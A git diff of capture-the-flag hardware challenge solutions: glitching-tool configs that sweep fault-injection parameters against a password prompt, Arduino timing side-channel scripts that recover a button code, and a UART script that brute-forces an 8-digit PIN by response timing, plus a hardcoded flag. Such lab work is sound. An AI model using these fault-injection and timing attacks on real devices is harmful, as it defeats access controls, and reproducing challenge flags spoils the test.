functions.add_text("[INFO] Configuring pin modes...") + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + for pin in ARDIO_OUTPUT_PINS: + arduino.set_mode(pin, "OUTPUT") + arduino.set_default(pin, "LOW") + + # Display current configuration + pinmap = arduino.get_pinmap() + functions.add_text(f"[INFO] Pin map: {pinmap}") + + +def button_ok(): + # Pulse one output pin + functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dash(): + functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_space(): + functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dot(): + functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def echo_trigger_state(): + state = arduino.get_state(ARDIO_INPUT_PIN) + functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") + +def find_code(): + """ + Discover a five-digit code by sending candidate pulses and measuring the + interval from sending OK (pin 8) until input goes HIGH using wait_for(). + + For each digit: + - Send one pulse for previously found digits. + - Send repeated pulses of the candidate digit to fill 5 pulses. + - Pulse OK (pin 8) to trigger the device. + - Measure duration using wait_for() for input HIGH. + - Select candidate with the longest LOW duration before HIGH. + """ + candidate_pins = [9, 10, 11] + code_sequence = [] + pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} + + button_ok() + functions.add_text("[INFO] Pulsing output pin 8 to reset device...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + functions.add_text("[INFO] Starting full code discovery sequence...") + + for digit_index in range(5): + functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") + results = {} + + for test_pin in candidate_pins: + # Build sequence: previously found digits + candidate repeated + sequence = code_sequence.copy() + remaining_pulses = 5 - len(sequence) + sequence += [test_pin] * remaining_pulses + symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] + functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " + f"sequence: {' '.join(symbol_seq)} ...") + + # Send sequence pulses (without timing) + for pin in sequence: + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.1) + + # Start timer and pulse OK (pin 8) + start_time = time.time() + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + + # Wait for input to go HIGH and measure duration + result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") + end_time = time.time() + + # Use the Arduino-provided LOW duration, fallback to timer if needed + duration = result.get("duration_ms", int((end_time - start_time) * 1000)) + functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") + + results[test_pin] = duration + time.sleep(0.3) + + # Select candidate with longest duration (correct digit) + correct_pin = max(results, key=results.get) + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " + f"{pin_to_symbol.get(correct_pin)}") + code_sequence.append(correct_pin) + + translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] + functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") + functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") + + return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py new file mode 100644 index 0000000..01de69c --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py @@ -0,0 +1,152 @@ +###### +# LEAVE THESE IMPORTS! +###### +from arduinIO import ArduinoController +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +###### +# arduinIO values +###### +ARDIO_PORT = "/dev/ttyACM2" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 +ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash +ARDIO_PULSE_DURATION_MS = 300 + +arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) +arduino.connect() + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ['run', False, "", 'find_code'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### +# Custom functions +###### +def setup_buttons(): + version = arduino.get_version() + functions.add_text(f"[INFO] Connected to Arduino: {version}") + + # Configure pins + functions.add_text("[INFO] Configuring pin modes...") + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + for pin in ARDIO_OUTPUT_PINS: + arduino.set_mode(pin, "OUTPUT") + arduino.set_default(pin, "LOW") + + # Display current configuration + pinmap = arduino.get_pinmap() + functions.add_text(f"[INFO] Pin map: {pinmap}") + + +def button_ok(): + # Pulse one output pin + functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dash(): + functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_space(): + functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dot(): + functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def echo_trigger_state(): + state = arduino.get_state(ARDIO_INPUT_PIN) + functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") + +def find_code(): + candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate + code_sequence = [] + pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"} + + functions.add_text("[INFO] Starting full code discovery sequence") + + for digit_index in range(4): + functions.add_text(f"[INFO] Finding digit {digit_index + 1}") + results = {} + + for test_pin in candidate_pins: + # Build the sequence: previously found digits + candidate repeated to fill 4 pulses + sequence = code_sequence.copy() + remaining_pulses = 4 - len(sequence) + sequence += [test_pin] * remaining_pulses + symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] + functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), " + f"sequence: {' '.join(symbol_seq)}") + + # Send all pulses in the sequence, starting timer immediately before the fourth pulse + for i, pin in enumerate(sequence): + if i == len(sequence) - 1: + # Start timer immediately before sending the fourth pulse + start_time = time.time() + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + # Allow a short interval for the device to react + time.sleep(0.05) + # Wait for the input to go HIGH and capture result + result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") + end_time = time.time() + + # Safely extract duration from result or compute fallback + if isinstance(result, dict): + duration = result.get("duration_ms", + int((end_time - start_time) * 1000)) + else: + duration = int((end_time - start_time) * 1000) + + functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.") + results[test_pin] = duration + else: + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + # small pause between candidates + time.sleep(0.8) + + # Choose the candidate with the longest duration for this digit + correct_pin = max(results, key=results.get) + code_sequence.append(correct_pin) + + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " + f"{pin_to_symbol.get(correct_pin)}") + + translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] + functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") + functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") + + return code_sequence, translated_sequence + +def stop_glitch(): + functions.set_uart_switch(False) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py new file mode 100644 index 0000000..f7e8036 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py @@ -0,0 +1,123 @@ +import functions +import threading +import time + +###### Config values ###### +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 1000000 +UART_NEWLINE = "\n" + +LENGTH = 12 +REPEAT = 1 +DELAY = 0 + +### name, enabled, string to match ### +conditions = [ + ['run', True, 'Password:', 'try_glitch'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### Custom functions ###### +def try_glitch(): + Len = functions.get_config_value("length") + Rep = functions.get_config_value("repeat") + Del = functions.get_config_value("delay") + time.sleep(0.2) + + tx_thread = threading.Thread( + target=functions.send_uart_message, + args=("aaaaaaaaaaaaaaaaaaaaa",), + daemon=True + ) + + glitch_thread = threading.Thread( + target=functions.start_glitch, + args=(Len, Rep, Del), + daemon=True + ) + + glitch_thread.start() + tx_thread.start() + + try: + current_delay = int(Del) + except (ValueError, TypeError): + current_delay = 0 + + try: + current_repeat = int(Rep) + except (ValueError, TypeError): + current_repeat = 0 + + new_delay = current_delay + 1 + + if new_delay >= 51: + new_delay = 0 + new_repeat = current_repeat + 1 + if new_repeat >= 20: + new_repeat = 1 + functions.set_config_value("repeat", new_repeat) + + functions.set_config_value("delay", new_delay) + + +def stop_glitch(): + buf = functions.read_uart_buffer() + + if "TS{D@mn_y0u_@r3_g006}" in buf: + functions.start_glitch(16, 1, 0) + else: + functions.set_condition_value(0, False) + functions.set_uart_switch(False) + + +###### Inactivity watchdog ###### +def config_inactivity_monitor(timeout=5): + """ + Monitor 'delay' and 'repeat' configuration values. + Restart device if they do not change for 'timeout' seconds + AND condition 0 remains True. + """ + # Wait for functions.config to be initialised + while True: + try: + _ = functions.get_config_value("delay") + break + except AttributeError: + print("[Watchdog] Waiting for configuration to initialise...") + time.sleep(1) + + last_delay = functions.get_config_value("delay") + last_repeat = functions.get_config_value("repeat") + last_change_time = time.time() + + while True: + try: + current_delay = functions.get_config_value("delay") + current_repeat = functions.get_config_value("repeat") + condition_active = functions.get_condition_value(0) + + if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat): + last_change_time = time.time() + last_delay = current_delay + last_repeat = current_repeat + + if condition_active and (time.time() - last_change_time > timeout): + print("[Watchdog] Inactivity detected. Restarting glitch...") + functions.start_glitch(16, 1, 0) + last_change_time = time.time() + + except Exception as e: + print(f"[Watchdog Error] {e}") + + time.sleep(1) + + +# Start watchdog thread after slight delay to allow initialisation +def start_watchdog(): + time.sleep(2) # ensures 'functions.config' is ready + monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True) + monitor_thread.start() + + +threading.Thread(target=start_watchdog, daemon=True).start() diff --git a/Misc/12Sec_CTF_V1/docs/12_solution.py b/Misc/12Sec_CTF_V1/docs/12_solution.py new file mode 100644 index 0000000..c5188aa --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/12_solution.py @@ -0,0 +1,274 @@ +#!/usr/bin/env python3 +""" +===================================================================== +UART Timing Analysis PIN Discovery Script (configurable start) +===================================================================== +Performs timing-based side-channel analysis to discover an 8-digit PIN +via UART, using the Arduino I/O controller for synchronised monitoring. + +This variant allows pre-setting a starting code (prefix) and the +starting position index so that discovery may resume part-way through. +Version: 1.3 +===================================================================== +""" + +import time +import serial +from arduinIO import ArduinoController + +# ================================================================ +# Configuration +# ================================================================ + +###### UART Configuration ###### +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 1199 +UART_NEWLINE = "\n" + +###### Arduino I/O Configuration ###### +ARDIO_PORT = "/dev/ttyACM0" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 + +###### Analysis Parameters ###### +PIN_LENGTH = 8 +KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] +PAD_CHAR = 'A' +ATTEMPTS_PER_CANDIDATE = 1 + +# Optionally set a starting prefix and a starting position. +# START_CODE is the known prefix (string). It may be empty. +# START_POS is the zero-based index at which to begin discovery. +# Example: START_CODE = "253", START_POS = 3 will begin at position 4. +START_CODE = "" # e.g. "253" +START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE). + +###### Delay Configuration (seconds) ###### +INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate +SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input +POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position +MAX_WAIT_MS = 800 # Maximum wait for input response +MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms) + +# ================================================================ +# Helper Functions +# ================================================================ + +def log(msg: str, level: str = "INFO"): + """Structured log output with level labels.""" + prefix = { + "INFO": "\033[94m[INFO]\033[0m", + "TEST": "\033[93m[TEST]\033[0m", + "ATTEMPT": "\033[90m[ATTEMPT]\033[0m", + "RESULT": "\033[92m[RESULT]\033[0m", + "ERROR": "\033[91m[ERROR]\033[0m", + "SUCCESS": "\033[96m[SUCCESS]\033[0m" + }.get(level, "[LOG]") + print(f"{prefix} {msg}") + + +def send_uart_message(ser, message: str): + """Send full message to UART target.""" + if not message.endswith(UART_NEWLINE): + message += UART_NEWLINE + ser.write(message.encode("utf-8")) + ser.flush() + + +def validate_start_settings(): + """Validate START_CODE and START_POS consistency and bounds.""" + if not isinstance(START_CODE, str): + raise ValueError("START_CODE must be a string.") + if not isinstance(START_POS, int): + raise ValueError("START_POS must be an integer.") + if len(START_CODE) != START_POS: + raise ValueError("Length of START_CODE must equal START_POS.") + if START_POS < 0 or START_POS > PIN_LENGTH: + raise ValueError("START_POS out of valid range.") + if len(START_CODE) > PIN_LENGTH: + raise ValueError("START_CODE longer than PIN_LENGTH.") + + +# ================================================================ +# PIN Discovery Logic +# ================================================================ + +def find_code(ser, arduino): + """ + Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW. + + Important: no UART reading occurs during the timed interval. UART is only + drained before sending (to remove stale lines) and immediately after the + timing measurement completes. This avoids introducing extra delay into + the critical timing path. + """ + + validate_start_settings() + log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO") + + discovered = START_CODE + start_pos = START_POS + + remaining_positions = PIN_LENGTH - start_pos + if remaining_positions <= 0: + log(f"No positions to discover. Current code: {discovered}", "INFO") + return discovered + + total_candidates = len(KEYSPACE) + total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE + eta_start = time.time() + attempts_done = 0 + + for pos in range(start_pos, PIN_LENGTH): + human_pos = pos + 1 + log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO") + timings = {} + + # Upper bound grows with each identified position (relative index) + relative_index = pos - start_pos + upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20 + + for idx, candidate in enumerate(KEYSPACE): + candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1)) + durations = [] + + for attempt in range(ATTEMPTS_PER_CANDIDATE): + # Best-effort non-blocking drain of stale UART lines BEFORE sending + try: + while ser.in_waiting: + _ = ser.readline() # discard + except Exception: + pass + + # Clear any previous short event records on Arduino + try: + arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1) + except Exception: + pass + + # Start timing immediately before send (critical interval begins) + t_start = time.time() + send_uart_message(ser, candidate_pin + UART_NEWLINE) + + # short settle after send (does not affect measurement start) + time.sleep(SEND_SETTLE_DELAY) + + # Perform event-based capture (no UART reads here) + dur_ms = 0 + try: + events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS) + except Exception: + events = [] + + if events: + low_event = next((ev for ev in events if ev.get("state") == "LOW"), None) + if low_event: + dur_ms = low_event.get("duration_ms", 0) + + # Fallback blocking wait_if_no_event (still no UART reads) + if dur_ms == 0: + try: + result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW") + t_end = time.time() + if isinstance(result, dict): + dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000)) + else: + dur_ms = int((t_end - t_start) * 1000) + except Exception: + dur_ms = 0 + + # Immediately after measurement, drain UART non-blocking and check for success + try: + while ser.in_waiting: + line = ser.readline().decode(errors='ignore').strip() + if line and line.startswith("TS{"): + # Found success; append this candidate and return the discovered code + discovered += candidate + log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS") + return discovered + except Exception: + # ignore serial read errors and continue + pass + + # Only include durations that lie within the allowed window + if 600 <= dur_ms <= upper_bound: + durations.append(dur_ms) + + # Update ETA (safe to compute outside critical interval) + attempts_done += 1 + elapsed = time.time() - eta_start + avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0 + remaining_attempts = total_attempts - attempts_done + eta_remaining = remaining_attempts * avg_time_per_attempt + eta_min, eta_sec = divmod(int(eta_remaining), 60) + + # Overwrite attempt line + print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True) + + time.sleep(INTER_ATTEMPT_DELAY) + + # newline after candidate block + #print() + + # Compute average using only valid durations + avg_duration = (sum(durations) / len(durations)) if durations else 0.0 + timings[candidate] = avg_duration + print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True) + print() + + # Select best candidate (largest average); fallback to '0' if none valid + if any(v > 0 for v in timings.values()): + selected = max(timings, key=timings.get) + else: + selected = '0' + + discovered += selected + log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO") + + # Progress display + print(f"\n ┌───────────────────────────────┐") + print(f" │ Progress: {discovered:<8} │") + print(f" └───────────────────────────────┘\n") + + # Optional settle between positions; keep minimal if timing-sensitive + if POSITION_SETTLE_DELAY: + time.sleep(POSITION_SETTLE_DELAY) + + log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS") + return discovered + + + +# ================================================================ +# Main Execution +# ================================================================ + +def main(): + log("Initialising Arduino controller...", "INFO") + arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) + arduino.connect() + version = arduino.get_version() + log(f"Connected to Arduino firmware {version}", "INFO") + + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO") + + log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO") + ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) + log("UART connection established", "INFO") + + try: + pin = find_code(ser, arduino) + log(f"Discovered PIN: {pin}", "SUCCESS") + except KeyboardInterrupt: + log("Process interrupted by user", "ERROR") + except Exception as e: + log(f"Unexpected error: {e}", "ERROR") + finally: + ser.close() + arduino.disconnect() + log("Connections closed", "INFO") + + +if __name__ == "__main__": + main() diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py new file mode 100644 index 0000000..19bd20d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py @@ -0,0 +1,50 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +UART_NEWLINE = "" + +### +# name, enabled, string to match +### +conditions = [ + ['1', False, "", 'one'], + ['2', False, "", 'two'], + ['3', False, "", 'three'], +] + +###### +# Custom functions +###### + +# Toggle states for each function +toggle_state_one = 0 +toggle_state_two = 0 +toggle_state_three = 0 + +def one(): + global toggle_state_one + functions.send_uart_message("1") + functions.send_uart_message(str(toggle_state_one)) + toggle_state_one = 1 - toggle_state_one + +def two(): + global toggle_state_two + functions.send_uart_message("2") + functions.send_uart_message(str(toggle_state_two)) + toggle_state_two = 1 - toggle_state_two + +def three(): + global toggle_state_three + functions.send_uart_message("3") + functions.send_uart_message(str(toggle_state_three)) + toggle_state_three = 1 - toggle_state_three + diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py new file mode 100644 index 0000000..2671dec --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py @@ -0,0 +1,7 @@ +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 31250 + diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py new file mode 100644 index 0000000..0ee78c6 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py @@ -0,0 +1,44 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', True], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### name, enabled, string to match ### +conditions = [ + ["Flag", True, "TS{", "stop_glitch"], +] + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py new file mode 100644 index 0000000..1185630 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py @@ -0,0 +1,108 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', False], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### +# Custom functions +###### +def setup_buttons(): + functions.run_output_low(0, 3000) + functions.run_output_low(1, 3000) + functions.run_output_low(2, 3000) + functions.run_output_low(3, 3000) + +def button_ok(): + functions.run_output_high(0, 15000000) # Can also run_output_low() if needed + functions.set_trigger_value(0, True) + functions.run_output_low(0, 3000) + + last_state = functions.get_trigger_value(0) + start_time = time.time() + + while True: + current_state = functions.get_trigger_value(0) + + # Detect rising edge: 0 → 1 + if last_state == 0 and current_state == 1: + functions.set_trigger_value(0, False) + functions.add_text("[code check complete]") + break + + # Exit if 1 second has elapsed + if time.time() - start_time >= 1.0: + functions.add_text("[timeout: no input detected within 1 second]") + break + + last_state = current_state + time.sleep(0.01) # Polling interval (10 ms) + + +def button_dash(): + functions.run_output_high(1, 1500000) ## can also run_output_low() if need too + functions.run_output_low(1, 3000) + +def button_space(): + functions.run_output_high(2, 1500000) ## can also run_output_low() if need too + functions.run_output_low(2, 3000) + +def button_dot(): + functions.run_output_high(3, 1500000) ## can also run_output_low() if need too + functions.run_output_low(3, 3000) + + +def echo_trigger_state(): + for channel in range(8): + state = functions.get_trigger_value(channel) + if state == 1: + functions.add_text(f"Channel {channel}: HIGH") + else: + functions.add_text(f"Channel {channel}: LOW") + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py new file mode 100644 index 0000000..94c453d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py @@ -0,0 +1,155 @@ +###### +# LEAVE THESE IMPORTS! +###### +from arduinIO import ArduinoController +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +###### +# arduinIO values +###### +ARDIO_PORT = "/dev/ttyACM2" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 +ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash +ARDIO_PULSE_DURATION_MS = 300 + +arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) +arduino.connect() + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ['run', False, "", 'find_code'], +] + +###### +# Custom functions +###### +def setup_buttons(): + version = arduino.get_version() + functions.add_text(f"[INFO] Connected to Arduino: {version}") + + # Configure pins + functions.add_text("[INFO] Configuring pin modes...") + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + for pin in ARDIO_OUTPUT_PINS: + arduino.set_mode(pin, "OUTPUT") + arduino.set_default(pin, "LOW") + + # Display current configuration + pinmap = arduino.get_pinmap() + functions.add_text(f"[INFO] Pin map: {pinmap}") + + +def button_ok(): + # Pulse one output pin + functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dash(): + functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_space(): + functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dot(): + functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def echo_trigger_state(): + state = arduino.get_state(ARDIO_INPUT_PIN) + functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") + +def find_code(): + """ + Discover a five-digit code by sending candidate pulses and measuring the + interval from sending OK (pin 8) until input goes HIGH using wait_for(). + + For each digit: + - Send one pulse for previously found digits. + - Send repeated pulses of the candidate digit to fill 5 pulses. + - Pulse OK (pin 8) to trigger the device. + - Measure duration using wait_for() for input HIGH. + - Select candidate with the longest LOW duration before HIGH. + """ + candidate_pins = [9, 10, 11] + code_sequence = [] + pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} + + button_ok() + functions.add_text("[INFO] Pulsing output pin 8 to reset device...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + functions.add_text("[INFO] Starting full code discovery sequence...") + + for digit_index in range(5): + functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") + results = {} + + for test_pin in candidate_pins: + # Build sequence: previously found digits + candidate repeated + sequence = code_sequence.copy() + remaining_pulses = 5 - len(sequence) + sequence += [test_pin] * remaining_pulses + symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] + functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " + f"sequence: {' '.join(symbol_seq)} ...") + + # Send sequence pulses (without timing) + for pin in sequence: + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.1) + + # Start timer and pulse OK (pin 8) + start_time = time.time() + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + + # Wait for input to go HIGH and measure duration + result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") + end_time = time.time() + + # Use the Arduino-provided LOW duration, fallback to timer if needed + duration = result.get("duration_ms", int((end_time - start_time) * 1000)) + functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") + + results[test_pin] = duration + time.sleep(0.3) + + # Select candidate with longest duration (correct digit) + correct_pin = max(results, key=results.get) + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " + f"{pin_to_symbol.get(correct_pin)}") + code_sequence.append(correct_pin) + + translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] + functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") + functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") + + return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py 